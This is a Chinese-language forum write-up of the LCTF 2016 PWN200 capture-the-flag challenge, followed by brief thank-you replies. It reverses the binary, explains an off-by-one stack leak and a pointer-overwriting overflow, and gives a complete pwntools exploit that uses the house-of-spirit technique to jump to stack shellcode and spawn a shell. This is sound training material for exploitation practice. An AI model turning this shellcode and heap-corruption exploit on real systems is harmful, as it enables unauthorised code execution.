R00tkit 发表于 2023-8-10 16:07

LCTF 2016 : PWN200

本帖最后由 R00tkit 于 2023-9-22 19:48 编辑


#前言
本体知识点讲解:https://bbs.kanxue.com/thread-277530.htm
# 检查文件信息




ELF64动态链接程序,经过strip,除了Partial RELRO保护以外一个没开,无NX包保护可以考虑shellcode,无FULL RELRO可考虑改got。这里用house of spirit


r2分析出其为ubuntu14.04编译,应该是ubuntu2.19,可以去libc-datase下载对应版本libc,我这里就用glibc2.23了
# 试运行

一个登陆程序。
# 逆向分析

```cpp
/*Entry()函数*/
__int64 Entry()
{
__int64 i; //
char name; // BYREF

puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
    read(0, &name, 1uLL);
    if ( name == '\n' )
    {
      name = 0;
      break;
    }
}
printf("%s, welcome to ISCC~ \n", name);
puts("give me your id ~~?");
get_num();
return get_money();
}

```
这里存在off-by-one漏洞读取name的时候,如果填满0x30个将不会有'\x00'截断,并且name变量仅挨着rbp,可以用来泄露rbp。


```cpp
/*get_num()函数*/
int get_num()
{
char nptr; // BYREF
int v2; //
int i; //

v2 = 0;
for ( i = 0; i <= 3; ++i )
{
    read(0, &nptr, 1uLL);
    if ( nptr == 10 )
    {
      nptr = 0;
      break;
    }
    if ( nptr > '9' || nptr <= '/' )
    {
      printf("0x%x ", (unsigned int)nptr);
      return 0;
    }
}
v2 = atoi(nptr);
if ( v2 >= 0 )
    return atoi(nptr);
else
    return 0;
}
```
```assembly
;Entry()函数调用get_num()之后的汇编代码

mov   eax, 0
call    get_num
cdqe
mov   , rax ;rax一般是用来保存函数返回值的寄存器
mov   eax, 0
```
查看Entry()函数尾部的汇编代码,看到get_num()函数的返回值保存在rbp-0x38的位置,紧挨着name变量。

```cpp
/*get_money()函数*/

__int64 get_money()
{
char buf; // BYREF
char *dest; //

dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, buf, 0x40uLL);
strcpy(dest, buf);
ptr = dest;
Begin();
}

```

可以看到buf存在溢出,buf有0x38字节大小,却读入了0x40字节大小的数据,覆盖了dest指针。

```cpp
/*Begin()函数*/
void Begin(void)
{
int num; // eax

while ( 1 )
{
    while ( 1 )
    {
      menu();
      num = get_num();
      if ( num != 2 )
      break;
      check_out();
    }
    if ( num == 3 )
      break;
    if ( num == 1 )
      check_in();
    else
      puts("invalid choice");
}
puts("good bye~");
}

```

```cpp
/*check_in()函数*/
int check_in()
{
int nbytes; //

if ( ptr )
    return puts("already check in");
puts("how long?");
nbytes = get_num();
if ( nbytes <= 0 || nbytes > 0x80 )
    return puts("invalid length");
ptr = malloc(nbytes);
printf("give me more money : ");
printf("\n%d\n", (unsigned int)nbytes);
read(0, ptr, (unsigned int)nbytes);
return puts("in~");
}

```
```cpp
/*check_out()函数*/
void sub_40096D()
{
if ( ptr )
{
    puts("out~");
    free(ptr);
    ptr = 0LL;
}
else
{
    puts("havn't check in");
}
}

```

# 漏洞利用
利用house of spirit修改get_money()的返回地址为shellcode地址。

## 在栈上注入shellcode并泄露get_money_rbp地址。
```python
def leek_rbp():
    global fake_addr
    global shellcode_addr

    shellcode = asm(shellcraft.sh())
    payload = shellcode.ljust(0x30, b'\x90')

    p.recvuntil(b'who are u?\n')
    p.send(payload)
    p.recvuntil(payload)
    rbp_addr = u64(p.recv(6).ljust(8, b'\x00'))
    log.info("rbp_addr: 0x%x" % rbp_addr)
    # 1
    gdb.attach(p)
    pause()
    shellcode_addr = rbp_addr - 0x50
    log.info("shellcode_addr: 0x%x" % shellcode_addr)
    fake_addr = rbp_addr - 0x90

```


栈空间由高向低增长,调用者的栈比被调用者的栈高,每次函数调用结束都会进行leave_ret,也就是(mov rbp, rsp; pop rbp; pop rip),递归调用函数会让rbp成为一个栈式链,由此可以推断每个函数的rbp是什麼。call指令每次调用会把下一条指令的地址压栈,然后才是调用函数,开始push rbp。rbp高一个size位就是ret执行的地方。

比如,标记的这个rbp地址(0x7ffd062acd40)是get_money()函数的rbp,这个rbp里保存的地址(泄露的)是Entry()函数的rbp(0x7ffd062acd60),shellcode距离泄露的Entry_rbp有0x50距离,标记ret就是其返回地址,也就是ret指令执行处,回到调用者执行流。


fake_addr之所以要-0x90,是因为在get_money的栈帧里,rbp-0x38的空间都是buf数组的,剩下0x8属于dest,这0x40空间都是可控的,方便接下来我们也可以由此控制rbp高0x8字节处的retaddr。


## 利用buf溢出使dest指向fake_addr

```python
def overwrite_dest():
    p.recvuntil(b'give me your id ~~?\n')
    p.sendline(b'65') # 65即0x41,将shellcode的低地址改为0x41(size位)
    p.recvuntil(b'give me money~\n')
    data = p64(0) * 4 + p64(0) + p64(0x41) + p64(0) + p64(fake_addr) # \x00截断strcpy,防止改写dest
    p.send(data)
    # 2
    gdb.attach(p)
    pause()

```

1-get_money的rbp
2-get_money的retaddr
3-shellcode

我们知道,堆空间由低地址向高地址增长,栈由高向低增长,所以在低地址0x8处(rbp-0x38)的0x41就是shellcode的size位了。当我们free(dest)时,就是free(fake_addr),0x41大小的fake_chunk会被放入fastbin,get_money的retaddr距离我们的用户区域有0x18字节大小,接下来只需要把get_money的retaddr改为shellcode地址退出即可。

## 控制retaddr并修改get_money的retaddr为shellcode地址

```python
def get_shell():
    p.recvuntil(b'choice : ')
    p.sendline(b'2')
    # 3
    gdb.attach(p)
    pause()

    p.recvuntil(b'choice : ')
    p.sendline(b'1')

    p.recvuntil(b'long?\n')
    p.sendline(b'48')
    p.recvline(b'48')

    data = b'\x90'*0x18 + p64(shellcode_addr)
    data = data.ljust(0x30, b'\x90')

    p.send(data)
    # 4
    gdb.attach(p)
    pause()

    p.recvuntil(b'choice')
    p.sendline(b'3')

    p.interactive()

```


当我们free(dest)后,可以看到fastbin里有了栈地址(rbp-0x100)。申请0x30大小就可以将其申请出来,其用户区偏移0x18处就是get_money_retaddr。

可以看到已经成功将get_money_retaddr修改为了shellcode地址。

## 完整exp
```python
from pwn import *
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'

elf = ELF('./pwn200')

p = process('./pwn200')
#p = remote('node4.buuoj.cn',25633)

def leek_rbp():
    global fake_addr
    global shellcode_addr

    shellcode = asm(shellcraft.sh())
    payload = shellcode.ljust(0x30, b'\x90')

    p.recvuntil(b'who are u?\n')
    p.send(payload)
    p.recvuntil(payload)
    rbp_addr = u64(p.recv(6).ljust(8, b'\x00'))
    log.info("rbp_addr: 0x%x" % rbp_addr)
    # 1
    #gdb.attach(p)
    #pause()
    shellcode_addr = rbp_addr - 0x50
    log.info("shellcode_addr: 0x%x" % shellcode_addr)
    fake_addr = rbp_addr - 0x90

def overwrite_dest():
    p.recvuntil(b'give me your id ~~?\n')
    p.sendline(b'65')
    p.recvuntil(b'give me money~\n')
    data = p64(0) * 4 + p64(0) + p64(0x41) + p64(0) + p64(fake_addr)
    p.send(data)
    # 2
    #gdb.attach(p)
    #pause()

def get_shell():
    p.recvuntil(b'choice : ')
    p.sendline(b'2')
    # 3
    gdb.attach(p)
    pause()

    p.recvuntil(b'choice : ')
    p.sendline(b'1')

    p.recvuntil(b'long?\n')
    p.sendline(b'48')
    p.recvline(b'48')

    data = b'\x90'*0x18 + p64(shellcode_addr)
    data = data.ljust(0x30, b'\x90')

    p.send(data)
    # 4
    gdb.attach(p)
    pause()

    p.recvuntil(b'choice')
    p.sendline(b'3')

    p.interactive()

def pwn():
    leek_rbp()
    overwrite_dest()
    get_shell()

if __name__ == '__main__':
    pwn()


```

swl0515 发表于 2023-8-10 20:47

厉害支持

雨落惊鸿, 发表于 2023-8-11 14:13

感谢分享

winxpnt 发表于 2023-8-11 15:00

跟着高手学习,谢谢

weiyanli 发表于 2023-8-14 11:05

感谢楼主精品分享,学习中
页: [1]
查看完整版本: LCTF 2016 : PWN200